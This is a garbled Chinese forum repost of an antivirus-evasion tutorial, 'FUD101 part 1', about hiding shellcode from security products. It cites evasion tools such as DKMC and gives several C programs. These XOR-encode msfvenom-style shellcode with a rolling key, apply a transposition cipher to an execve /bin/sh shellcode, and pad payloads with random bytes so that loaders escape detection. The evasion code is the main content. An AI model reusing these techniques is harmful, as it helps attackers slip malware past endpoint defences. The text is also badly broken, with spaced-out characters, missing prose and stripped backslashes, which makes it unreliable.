[6826] 2020-07-18_FUD101(连载):一、shellcode免杀

文档创建者:s7ckTeam
浏览次数:11
最后更新:2025-01-17
2020-07-18_FUD101(连载):一、shellcode免杀 F U D 1 0 1   s h e l l c o d e E   2 0 2 0 - 0 7 - 1 8   1 y 0 n N o . 1 N o . 1 使 N o . 2 N o . 2 ( g i t h u b ) [ h t t p s : / / g i t h u b . c o m / 1 y 0 n / A V _ E v a s i o n _ T o o l ] ( ) [ h t t p s : / / g i t h u b . c o m / 1 y 0 n / A V _ E v a s i o n _ T o o l / r e l e a s e s ]   .
  s h e l l c o d e     s h e l l c o d e 使   s h e l l c o d e m s f v e n o m c o b a l t s t r i k e 1   s h e l l c o d e     l o a d e r     s h e l l c o d e   2   s h e l l c o d e     l o a d e r   N o . 3 N o . 3   s h e l l c o d e     l o a d e r     l o a d e r   s h e l l c o d e     s h e l l c o d e   l o a d e r     s h e l l c o d e     m s f v e n o m     . c   . r a w     . t x t     . d l l   l o a d e r     . d l l . j s . v b s . s c t . h t a D L L D L L . c   . r a w   . t x t   g o o g l e   D K M C ( D o n t ' t   K i l l   M y   C a t ) h t t p s : / / g i t h u b . c o m / M r - U n 1 k 0 d 3 r / D K M C D o n ' t   k i l l   m y   c a t   i s   a   t o o l   t h a t   g e n e r a t e s   o b f u s c a t e d   s h e l l c o d e   t h a t   i s   s t o r e d   i n s i d e   o f   p o l y g l o t   i m a g e s .   T h e   i m a g e   i s   1 0 0 %   v a l i d   a n d   a l s o   1 0 0 %   v a l i d   s h e l l c o d e .   s h e l l c o d e     s h e l l c o d e     g i t h u b     s h e l l c o d e  
使 使   l o a d e r   线 N o . 4 N o . 4 1 X O R   x 0 0   2 C T F   s h e l l c o d e 3 A E S R S A   s h e l l c o d e   使   A E S     s h e l l c o d e   o p e n s s l h t t p s : / / g i s t . g i t h u b . c o m / a h p a l e u s / d 0 c 1 b 4 3 9 5 3 9 4 b 7 e 5 7 1 2 d 3 1 4 5 8 f b a a d 1 f 4   s h e l l c o d e   使 k e y 使   s h e l l c o d e   N o . 5 N o . 5 X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R   C / C + +  
#   i n c l u d e #   i n c l u d e #   i n c l u d e i n t   m a i n ( ) {         u n s i g n e d   c h a r   c o d e [ ]   = " x 2 b x c 9 x 8 3 x e 9 x c f x e 8 x f f x f f x f f x f f x c 0 x 5 e x 8 1 x 7 6 x 0 e x 6 5 x 8 7 x b e x d 4 x 8 3 x e e x f c x e 2 x f 4 x 9 9 x 6 f x 3 c x d 4 x 6 5 x 8 7 x d e x 5 d x 8 0 x b 6 x 7 e x b 0 x e e x d 7 x 8 e x 5 f x 3 7 x 8 b x 3 5 x 8 6 x 7 1 x 0 c x c c x f c x 6 a x 3 0 x f 4 x f 2 x 5 4 x 7 8 x 1 2 x e 8 x 0 4 x f b x b c x f 8 x 4 5 x 4 6 x 7 1 x d 9 x 6 4 x 4 0 x 5 c x 2 6 x 3 7 x d 0 x 3 5 x 8 6 x 7 5 x 0 c x f 4 x e 8 x e e x c b x a f x a c x 8 6 x c f x b f x 0 5 x 3 4 x 0 c x e 7 x f 4 x 6 4 x 5 4 x 3 5 x 9 d x 7 d x 6 4 x 8 4 x 9 d x e e x b 3 x 3 5 x d 5 x b 3 x b 6 x 4 1 x 7 8 x a 4 x 4 8 x b 3 x d 5 x a 2 x b f x 5 e x a 1 x 9 3 x 8 4 x c 3 x 2 c x 5 e x f a x 9 a x a 1 x 8 1 x d f x 3 5 x 8 c x 4 1 x 8 6 x 6 d x b 2 x e e x 8 b x f 5 x 5 f x 3 d x 9 b x b f x 0 7 x e e x 8 3 x 3 5 x d 5 x b 5 x 0 e x f a x f 0 x 4 1 x d c x e 5 x b 5 x 3 c x d d x e f x 2 b x 8 5 x d 8 x e 1 x 8 e x e e x 9 5 x 5 5 x 5 9 x 3 8 x e d x b f x 5 9 x e 0 x 3 5 x b e x d 4 x 6 5 x d 7 x d 6 x e 5 x e e x e 8 x 3 9 x 2 b x b 0 x 3 c x 4 e x 6 1 x c 7 x d 1 x d 6 x 7 2 x f 0 x 3 a x 2 3 x 2 b x b 0 x b b x b 8 x a 8 x 6 f x 0 7 x 4 5 x 3 4 x 1 0 x 8 2 x 0 5 x 9 3 x 7 6 x f 5 x d 1 x b e x 6 5 x d 4 x 4 1 x 0 1 x 0 6 x e 6 x d 2 x b 7 x 4 b x e 2 x c 6 x b 1 x 6 5 x 8 7 x b e x d 4 " ;         p r i n t f ( " s h e l l c o d e : r n " ) ;         f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( c o d e ) ;   i + + ) {                         p r i n t f ( " x % 0 . 2 x " ,   c o d e [ i ] ) ;         }         f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( c o d e ) ;   i + + ) {                 c o d e [ i ]   ^ =   1 2 3 ;         }         p r i n t f ( " r n r n s h e l l c o d e : r n " ) ;         f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( c o d e ) ;   i + + ) {                 p r i n t f ( " x % 0 . 2 x " ,   c o d e [ i ] ) ;         }         p r i n t f ( " r n r n s h e l l c o d e : r n " ) ;         f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( c o d e ) ;   i + + ) {                 c o d e [ i ]   ^ =   1 2 3 ;         }         f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( c o d e ) ;   i + + ) {                 p r i n t f ( " x % 0 . 2 x " ,   c o d e [ i ] ) ;         } } k e y k e y #   i n c l u d e i n c l u d e #   i n c l u d e i n t   m a i n ( ) {         u n s i g n e d   c h a r   c o d e [ ]   = " x 2 b x c 9 x 8 3 x e 9 x c f x e 8 x f f x f f x f f x f f x c 0 x 5 e x 8 1 x 7 6 x 0 e x 6 5 x 8 7 x b e x d 4 x 8 3 x e e x f c x e 2 x f 4 x 9 9 x 6 f x 3 c x d 4 x 6 5 x 8 7 x d e x 5 d x 8 0 x b 6 x 7 e x b 0 x e e x d 7 x 8 e x 5 f x 3 7 x 8 b x 3 5 x 8 6 x 7 1 x 0 c x c c x f c x 6 a x 3 0 x f 4 x f 2 x 5 4 x 7 8 x 1 2 x e 8 x 0 4 x f b x b c x f 8 x 4 5 x 4 6 x 7 1 x d 9 x 6 4 x 4 0 x 5 c x 2 6 x 3 7 x d 0 x 3 5 x 8 6 x 7 5 x 0 c x f 4 x e 8 x e e x c b x a f x a c x 8 6 x c f x b f x 0 5 x 3 4 x 0 c x e 7 x f 4 x 6 4 x 5 4 x 3 5 x 9 d x 7 d x 6 4 x 8 4 x 9 d x e e x b 3 x 3 5 x d 5 x b 3 x b 6 x 4 1 x 7 8 x a 4 x 4 8 x b 3 x d 5 x a 2 x b f x 5 e x a 1 x 9 3 x 8 4 x c 3 x 2 c x 5 e x f a x 9 a x a 1 x 8 1 x d f x 3 5 x 8 c x 4 1 x 8 6 x 6 d x b 2 x e e x 8 b x f 5 x 5 f x 3 d x 9 b x b f x 0 7 x e e x 8 3 x 3 5 x d 5 x b 5 x 0 e x f a x f 0 x 4 1 x d c x e 5 x b 5 x 3 c x d d x e f x 2 b x 8 5 x d 8 x e 1 x 8 e x e e x 9 5 x 5 5 x 5 9 x 3 8 x e d x b f x 5 9 x e 0 x 3 5 x b e x d 4 x 6 5 x d 7 x d 6 x e 5 x e e x e 8 x 3 9 x 2 b x b 0 x 3 c x 4 e x 6 1 x c 7 x d 1 x d 6 x 7 2 x f 0 x 3 a x 2 3 x 2 b x b 0 x b b x b 8 x a 8 x 6 f x 0 7 x 4 5 x 3 4 x 1 0 x 8 2 x 0 5 x 9 3 x 7 6 x f 5 x d 1 x b e x 6 5 x d 4 x 4 1 x 0 1 x 0 6 x e 6 x d 2 x b 7 x 4 b x e 2 x c 6 x b 1 x 6 5 x 8 7 x b e x d 4 " ;         i n t   j   =   2 3 4 ;   / /           i n t   m i d   =   1 2 ;     / /         / /         p r i n t f ( " s h e l l c o d e : r n " ) ;                 f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( c o d e ) ;   i + + ) {                 p r i n t f ( " x % 0 . 2 x " ,   c o d e [ i ] ) ;         }           f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( c o d e ) ;   i + + ) {                 c o d e [ i ]   =   c o d e [ i ]   ^   1 2 3   ^   j ;                 j   + =   m i d ;         }           p r i n t f ( " r n r n s h e l l c o d e : r n " ) ;           f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( c o d e ) ;   i + + ) {                   p r i n t f ( " x % 0 . 2 x " ,   c o d e [ i ] ) ;         }         p r i n t f ( " r n r n s h e l l c o d e : r n " ) ;         j   =   2 3 4 ;   / / j         f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( c o d e ) ;   i + + ) {                 c o d e [ i ]   =   c o d e [ i ]   ^   1 2 3   ^   j ;                 j   + =   m i d ;         }         f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( c o d e ) ;   i + + ) {                 p r i n t f ( " x % 0 . 2 x " ,   c o d e [ i ] ) ;         } } X O R X O R
N o . 6 N o . 6 使   s h e l l c o d e   使 h t t p : / / w w w . a r t i - s e c . c o m / a r t i c l e / e n c r y p t - s h e l l c o d e - d e c r y p t - a n d - r u n - i t - s l a e #   i n c l u d e #   i n c l u d e #   i n c l u d e         i n t   m a i n ( )   {                 i n t   l ,   j ,   k ,   p ,   t ;     / /   l e n g t h   o f   s t r i n g ,   c o u n t e r s   a n d   a   t o g g l e                 i n t   i [ 2 ] ;               / /   n e e d   t w o   i n c r e m e n t e r s   f o r   a l g o r i t h m                 u n s i g n e d   c h a r   i n p [ ]   =   " x 3 1 x c 0 x 5 0 x 6 8 x 2 f x 2 f x 7 3 x 6 8 x 6 8 x 2 f x 6 2 x 6 9 x 6 e x 8 9 x e 3 x 5 0 x 8 9 x e 2 x 5 3 x 8 9 x e 1 x b 0 x 0 b x c d x 8 0 " ;                 i n t   k e y   =   5 ;                   u n s i g n e d   c h a r *   b u f ;                 l   =   s t r l e n ( i n p ) ; p r i n t f ( " n n S h e l l c o d e   l e n g t h :   % d " ,   l ) ;                 p r i n t f ( " n   K e y :   % d " ,   k e y ) ;                 i f   ( k e y   >   l )   {                           p r i n t f ( " K e y   n e e d s   t o   b e   s h o r t e r   t h a n   l e n g t h   o f   s h e l l c o d e n " ) ;                           e x i t ( 0 ) ;                 }                 / /   m a k e   a   b u f f e r   t o   s t o r e   c i p h e r                 b u f   =   m a l l o c ( l ) ; i f   ( b u f   = =   0 )   {                         p r i n t f ( " n m e m o r y   e x h a u s t e d n " ) ;                         e x i t ( 0 ) ;                 }                 p   =   0 ;             / /   p o s i t i o n   i n   b u f                 / /   d o   t h e   t r a n s p o s i t i o n   c i p h e r                 f o r   ( j   =   0 ;   j   <   k e y ;   j + + )   {                         i [ 0 ]   =   ( j   = =   k e y   -   1   ?   j   :   k e y   -   j   -   1 )   *   2 ;                         i [ 1 ]   =   j   = =   0   ?   i [ 0 ]   :   j   *   2 ;                         t   =   1 ;                         k   =   j ;                         b u f [ p ]   =   i n p [ j ] ; d o   {                                 t   =   ! t ;                                 k   + =   i [ t ] ;                                 p + + ; i f   ( k   <   l )                                 b u f [ p ]   =   i n p [ k ] ;                         } w h i l e   ( k   <   l ) ;                 }                 / /   N o w   p r i n t   t h e   r e s u l t s                 p r i n t f ( " n n " " ) ;                 f o r   ( p   =   0 ;   p   <   l ;   p + + )                           p r i n t f ( " x % 0 2 x " ,   b u f [ p ] ) ;                 p r i n t f ( " " ; n n " ) ;                 f o r   ( p   =   0 ;   p   <   l ;   p + + )                         p r i n t f ( " 0 x % 0 2 x , " ,   b u f [ p ] ) ;                 p r i n t f ( " n n " ) ;                 / /   a n d   c l e a n   u p                 f r e e ( b u f ) ;                 e x i t ( 0 ) ;         }
#   i n c l u d e #   i n c l u d e #   i n c l u d e i n t   m a i n ( )   {         i n t   l ,   j ,   k ,   p ,   t ;     / /   l e n g t h   o f   s t r i n g ,   c o u n t e r s   a n d   a   t o g g l e         i n t   i [ 2 ] ;               / /   n e e d   t w o   i n c r e m e n t e r s   f o r   a l g o r i t h m         u n s i g n e d   c h a r   i n p [ ]   =   " x 3 1 x 6 8 x 8 9 x 8 0 x c 0 x 6 8 x 2 f x 5 0 x e 2 x c d x 5 0 x 7 3 x 6 2 x e 3 x 5 3 x 0 b x 6 8 x 2 f x 6 9 x 8 9 x 8 9 x b 0 x 2 f x 6 e x e 1 " ;         i n t   k e y   =   5 ;         u n s i g n e d   c h a r *   b u f ;         l   =   s t r l e n ( i n p ) ;         p r i n t f ( " n n S h e l l c o d e   l e n g t h :   % d " ,   l ) ;         p r i n t f ( " n   K e y :   % d " ,   k e y ) ;         i f   ( k e y   >   l )   {                 p r i n t f ( " K e y   n e e d s   t o   b e   s h o r t e r   t h a n   l e n g t h   o f   s h e l l c o d e n " ) ;                 e x i t ( 0 ) ;         }         / /   m a k e   a   b u f f e r   t o   s t o r e   c i p h e r         b u f   =   m a l l o c ( l ) ;                 i f   ( b u f   = =   0 )   {                 p r i n t f ( " n m e m o r y   e x h a u s t e d n " ) ;                 e x i t ( 0 ) ;         }         p   =   0 ;             / /   p o s i t i o n   i n   b u f         / /   d o   t h e   t r a n s p o s i t i o n   c i p h e r         f o r   ( j   =   0 ;   j   <   k e y ;   j + + )   {                 i [ 0 ]   =   ( j   = =   k e y   -   1   ?   j   :   k e y   -   j   -   1 )   *   2 ;                 i [ 1 ]   =   j   = =   0   ?   i [ 0 ]   :   j   *   2 ;                 t   =   1 ;                 k   =   j ;                 b u f [ j ]   =   i n p [ p ] ;                 d o   {                         t   =   ! t ;                         k   + =   i [ t ] ;                         p + + ;                         i f   ( k   <   l )                                 b u f [ k ]   =   i n p [ p ] ;                 }   w h i l e   ( k   <   l ) ;         }         / /   N e e d   t o   c o p y   t h e   b u f f e r   o v e r   t h e   o r i g i n a l   s t r i n g         / /   s o   w e   c a n   c l e a n   u p ,   e v e n   w h e n   n o   r e t u r n   f r o m   s h e l l c o d e         p r i n t f ( " " ; n n " ) ;         f o r   ( p   =   0 ;   p   <   l ;   p + + )                 i n p [ p ]   =   b u f [ p ] ;                 f o r   ( p   =   0 ;   p   <   l ;   p + + )                         p r i n t f ( " x % 0 2 x " ,   b u f [ p ] ) ;         p r i n t f ( " " ; n n " ) ;         f o r   ( p   =   0 ;   p   <   l ;   p + + )                 p r i n t f ( " 0 x % 0 2 x , " ,   b u f [ p ] ) ;         p r i n t f ( " n n " ) ;         f r e e ( b u f ) ; } N o . 7 N o . 7 #   i n c l u d e #   i n c l u d e #   i n c l u d e #   i n c l u d e / / 1 3 v o i d   m a i n ( ) {         u n s i g n e d   c h a r   s l c d [ ]   = " x 2 b x c 9 x 8 3 x e 9 x c f x e 8 x f f x f f x f f x f f x c 0 x 5 e x 8 1 x 7 6 x 0 e x 6 5 x 8 7 x b e x d 4 x 8 3 x e e x f c x e 2 x f 4 x 9 9 x 6 f x 3 c x d 4 x 6 5 x 8 7 x d e x 5 d x 8 0 x b 6 x 7 e x b 0 x e e x d 7 x 8 e x 5 f x 3 7 x 8 b x 3 5 x 8 6 x 7 1 x 0 c x c c x f c x 6 a x 3 0 x f 4 x f 2 x 5 4 x 7 8 x 1 2 x e 8 x 0 4 x f b x b c x f 8 x 4 5 x 4 6 x 7 1 x d 9 x 6 4 x 4 0 x 5 c x 2 6 x 3 7 x d 0 x 3 5 x 8 6 x 7 5 x 0 c x f 4 x e 8 x e e x c b x a f x a c x 8 6 x c f x b f x 0 5 x 3 4 x 0 c x e 7 x f 4 x 6 4 x 5 4 x 3 5 x 9 d x 7 d x 6 4 x 8 4 x 9 d x e e x b 3 x 3 5 x d 5 x b 3 x b 6 x 4 1 x 7 8 x a 4 x 4 8 x b 3 x d 5 x a 2 x b f x 5 e x a 1 x 9 3 x 8 4 x c 3 x 2 c x 5 e x f a x 9 a x a 1 x 8 1 x d f x 3 5 x 8 c x 4 1 x 8 6 x 6 d x b 2 x e e x 8 b x f 5 x 5 f x 3 d x 9 b x b f x 0 7 x e e x 8 3 x 3 5 x d 5 x b 5 x 0 e x f a x f 0 x 4 1 x d c x e 5 x b 5 x 3 c x d d x e f x 2 b x 8 5 x d 8 x e 1 x 8 e x e e x 9 5 x 5 5 x 5 9 x 3 8 x e d x b f x 5 9 x e 0 x 3 5 x b e x d 4 x 6 5 x d 7 x d 6 x e 5 x e e x e 8 x 3 9 x 2 b x b 0 x 3 c x 4 e x 6 1 x c 7 x d 1 x d 6 x 7 2 x f 0 x 3 a x 2 3 x 2 b x b 0 x b b x b 8 x a 8 x 6 f x 0 7 x 4 5 x 3 4 x 1 0 x 8 2 x 0 5 x 9 3 x 7 6 x f 5 x d 1 x b e x 6 5 x d 4 x 4 1 x 0 1 x 0 6 x e 6 x d 2 x b 7 x 4 b x e 2 x c 6 x b 1 x 6 5 x 8 7 x b e x d 4 " ;         u n s i g n e d   c h a r   b u f [ 4 * s i z e o f ( s l c d ) ] ;         i n t   j   =   0 ;         f o r   ( i n t   i   =   0 ;   i   <   4 * s i z e o f ( s l c d ) ;   i + + ) {                 i f   ( i   %   4   = =   0 ) {                         b u f [ i ]   =   s l c d [ j ] ;                         j + + ;                 }                 e l s e {                             / /                         b u f [ i ]   =   r a n d ( )   &   1 5 ;                 }         }         p r i n t f ( " s h e l l c o d e : r n " ) ;         f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( s l c d ) ;   i + + ) {                 p r i n t f ( " x % 0 . 2 x " ,   s l c d [ i ] ) ;         }         p r i n t f ( " r n r n " ) ;         f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( b u f ) ;   i + + ) {                 p r i n t f ( " x % 0 . 2 x " ,   b u f [ i ] ) ;         }         p r i n t f ( " r n r n " ) ;         u n s i g n e d   c h a r   b u f 2 [ s i z e o f ( b u f ) / 4 ] ;         / / j         j   =   0 ;         f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( b u f ) ;   i + + ) {                 i f   ( i   %   4   = =   0 ) {                         b u f 2 [ j ]   =   b u f [ i ] ;                         j + + ;                 }                 }         f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( b u f 2 ) ;   i + + ) {                 p r i n t f ( " x % 0 . 2 x " ,   b u f 2 [ i ] ) ;         } }
  s h e l l c o d e   s h e l l c o d e   h t t p s : / / w w w . e a s y a q . c o m T w i t t e r   T w i t t e r   S i g R e d W i n d o w s 1 7 I B M i P h o n e U n c 0 v e r   |   2 0 2 0   E
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则